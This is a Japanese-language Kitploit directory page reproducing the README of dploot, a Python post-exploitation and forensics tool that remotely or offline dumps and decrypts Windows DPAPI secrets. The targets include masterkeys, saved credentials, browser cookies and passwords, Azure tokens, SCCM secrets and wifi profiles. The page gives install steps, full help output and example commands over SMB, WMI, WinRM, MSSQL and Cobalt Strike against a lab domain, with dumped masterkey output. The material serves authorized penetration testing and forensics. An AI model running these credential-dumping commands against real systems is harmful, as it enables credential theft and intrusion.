Skip to content
KitploitKITPLOIT
ツールエクスプロイトブログ
Log in
提出
ツールエクスプロイトブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

フィードお問い合わせプライバシー© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
dploot — Windows DPAPIのシークレットをリモートまたはオフラインで取得・復号します。マスターキー、資格情報、Vault、証明書、ブラウザデータ、キャッシュされたAzureトークンなどが含まれます。 | Kitploit
ツール/GitHubGitHub/zblurx/dploot
暗号化/復号化ツールポストエクスプロイトデジタルフォレンジックペネトレーションテストクラウドセキュリティレッドチーミング
GitHubzblurx/dploot

dploot

Windows DPAPIのシークレットをリモートまたはオフラインで取得・復号します。マスターキー、資格情報、Vault、証明書、ブラウザデータ、キャッシュされたAzureトークンなどが含まれます。

リポジトリを見る
55575306日前Kitploit レビュー済み

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

dploot

dploot は、Harmj0y によって C# で書かれた SharpDPAPI の Python による書き直し版であり、SharpDPAPI 自体は gentilkiwi による Mimikatz の DPAPI を移植したものです。これらのツールの DPAPI ロジックをすべて実装していますが、今回は Python インタプリタおよび Linux 環境から使用できます。

DPAPI とは何かご存じない場合は、こちらの記事を確認してください。

目次

  • dploot
    • 目次
    • インストール
    • 使用方法
      • プロトコル
      • Kerberos
    • 使い方
      • SMB 経由のリモートアクセス
      • WMI 経由のリモートアクセス
      • WinRM 経由のリモートアクセス
      • MSSQL 経由のリモートアクセス
      • ローカルファイルシステムへのアクセス
      • Cobalt Strike 経由のリモートアクセス
      • ドメイン管理者として
      • 非ドメイン管理者として
    • コマンド
      • ユーザートリアージ
        • masterkeys
        • credentials
        • vaults
        • rdg
        • certificates
        • browser
        • cng
        • wam
        • mobaxterm
        • triage
      • マシントリアージ
        • machinemasterkeys
        • machinecredentials
        • machinevaults
        • machinecertificates
        • machinecng
        • machinetriage
      • その他
        • wifi
        • sccm
        • backupkey
        • blob
    • クレジット

インストール

dploot は pipx を使用して PyPI から直接インストールできます:

pipx install git+https://github.com/zblurx/dploot.git

または

pipx install dploot

Kali Linuxでは、リポジトリからdplootをインストールできます:

sudo apt install python3-dploot

使用方法

dploot (https://github.com/zblurx/dploot) v4.0.0 by @_zblurx
usage: dploot [-h]
              {backupkey,blob,browser,certificates,cng,credentials,machinecertificates,machinecng,machinecredentials,machinemasterkeys,machinetriage,machinevaults,masterkeys,mobaxterm,rdg,sccm,triage,vaults,wam,wifi}
              ...

DPAPI looting in Python

positional arguments:
  {backupkey,blob,browser,certificates,cng,credentials,machinecertificates,machinecng,machinecredentials,machinemasterkeys,machinetriage,machinevaults,masterkeys,mobaxterm,rdg,sccm,triage,vaults,wam,wifi}
                        Action
    backupkey           Backup Keys from domain controller
    blob                Decrypt DPAPI blob. Can fetch masterkeys on target
    browser             Dump users credentials and cookies saved in browser from local or remote target
    certificates        Dump users certificates from local or remote target
    cng                 Dump users CNG files blob from local or remote target
    credentials         Dump users Credential Manager blob from local or remote target
    machinecertificates
                        Dump system certificates from local or remote target
    machinecng          Dump system CNG files from local or remote target
    machinecredentials  Dump system credentials from local or remote target
    machinemasterkeys   Dump system masterkey from local or remote target
    machinetriage       Loot SYSTEM Masterkeys (if not set), SYSTEM credentials, SYSTEM certificates and SYSTEM vaults from local or remote target
    machinevaults       Dump system vaults from local or remote target
    masterkeys          Dump users masterkey from local or remote target
    mobaxterm           Dump Passwords and Credentials from MobaXterm
    rdg                 Dump users saved password information for RDCMan.settings from local or remote target
    sccm                Dump SCCM secrets (NAA, Collection variables, tasks sequences credentials) from local or remote target
    triage              Loot Masterkeys (if not set), credentials, rdg, certificates, browser and vaults from local or remote target
    vaults              Dump users Vaults blob from local or remote target
    wam                 Dump users cached azure tokens from local or remote target
    wifi                Dump wifi profiles from local or remote target

options:
  -h, --help            show this help message and exit

プロトコル

dploot v4.0.0+ はリモートアクセス用に複数のネットワークプロトコルをサポートしています。プロトコルは --protocol <protocol_name> で選択します。各プロトコルには異なる機能と要件があります:

  • smb(デフォルト):リモートファイルアクセスとレジストリ操作に SMB/RPC を使用します。ほとんどの Windows ターゲットで動作します。Kerberos 認証をサポートしています。impacket と連携します
  • wmi:リモート実行とレジストリ操作に Windows Management Instrumentation(DCOM)を使用します。SMB の代替として有用です。Kerberos 認証をサポートしています。impacket と連携します
  • winrm:PowerShell ベースの操作に Windows Remote Management を使用します。現代の環境で一般的です。pypsrp と連携します
  • mssql:MSSQL Server 経由で接続します。ドメイン認証とローカルデータベース認証の両方をサポートしています。Kerberos 認証をサポートしています。impacket と連携します
  • local:マウントまたはコピーされた Windows ファイルシステムに直接アクセスします(ネットワーク接続は不要)。物理ドライブやディスクイメージのオフライン分析に有用です。
  • cobaltstrike:Cobalt Strike ビーコンの REST API を介して操作を実行します。Cobalt Strike インフラストラクチャを用いたレッドチーム運用に有用です。

WMI プロトコルを使用した例:

$ dploot masterkeys --protocol wmi -d waza.local -u Administrator -p 'Password!123' -t 192.168.57.5

ローカルプロトコルを使用した例(オフラインのファイルシステム):

$ dploot masterkeys --protocol local --root /mnt/c_drive -u bob -p Password

コマンドサポートに関する重要な注意事項:

  • ほとんどのコマンドはすべてのプロトコルをサポートしています。ただし、backupkey は SMB プロトコルでのみ動作します(ドメインコントローラーへのアクセスが必要です)。
  • DPAPI マシンキーを自動的にダンプする LSA ダンプをサポートするのは smb プロトコルのみです。その他のプロトコルでは、--dpapi-system-key を使用して自分で用意する必要があります。

Kerberos

dploot は smb、wmi、mssql プロトコルで Kerberos 認証を行うことができます。NTLM フォールバック付きで Kerberos を有効にするには -k を使用します。キャッシュされたチケットを使用する場合は --use-kcache を使用します。AES キーを使用する場合は --aesKey を使用します。

$ dploot masterkeys -d waza.local -u Administrator -k -t 192.168.57.5

使用方法

dploot の目的は、Linux マシンからの DPAPI 関連の情報収集を簡素化することです。このツールの使用方法は、アクセスレベルとターゲットの構成によって異なります。

SMB 経由のリモートアクセス

デフォルトのプロトコルは SMB です。これは DPAPI の情報収集において最も一般的なアプローチであり、標準的な Windows ファイル共有で動作します:

$ dploot masterkeys -d waza.local -u Administrator -p 'Password!123' -t 192.168.57.5
[*] Connected to 192.168.57.5 as waza.local\Administrator (admin)

[*] Triage ALL USERS masterkeys

{d305b55b-f0ca-40cf-b04c-3620aa5da427}:6f45f9ee77014df8a68104abd0e8d5eadb3d9f22
{d37fa151-d670-4c58-9d70-3233b4918942}:8709574524ad35ef0b3a114b93990f8490d86cba

WMI 経由のリモートアクセス

WMI はリモートアクセスのための SMB の代替手段を提供し、SMB が制限されている場合に有用です:

$ dploot masterkeys --protocol wmi -d waza.local -u Administrator -p 'Password!123' -t 192.168.57.5
[*] Connected to 192.168.57.5 as waza.local\Administrator (admin)

[*] Triage ALL USERS masterkeys

{d305b55b-f0ca-40cf-b04c-3620aa5da427}:6f45f9ee77014df8a68104abd0e8d5eadb3d9f22

WinRM 経由のリモートアクセス

WinRM は代替プロトコルとして使用できます:

$ dploot masterkeys --protocol winrm -d waza.local -u Administrator -p 'Password!123' -t 192.168.57.5 --port 5985

MSSQL 経由のリモートアクセス

ターゲットにアクセス可能な認証情報を持つ MSSQL がある場合、MSSQL プロトコルを使用できます:

$ dploot masterkeys --protocol mssql -d waza.local -u Administrator -p 'Password!123' -t 192.168.57.5 --port 1433 --db-auth

ローカルファイルシステムへのアクセス

DPAPI シークレットにアクセスする別の方法として、直接ファイルシステムにアクセスする方法があります。たとえば、物理的にアクセスしてドライブを抽出し、解析マシン上でファイルシステムをマウントする方法です。このモードを使用するには、--protocol local を指定します。デフォルトでは、対象のファイルシステムはカレントディレクトリにあると想定されますが、--root で別のパスを指定できます:

$ dploot masterkeys --protocol local --root /mnt/c_drive -u bob -p Password
[*] Reading /mnt/c_drive

[*] Triage ALL USERS masterkeys

{d305b55b-f0ca-40cf-b04c-3620aa5da427}:6f45f9ee77014df8a68104abd0e8d5eadb3d9f22
ツールをダウンロード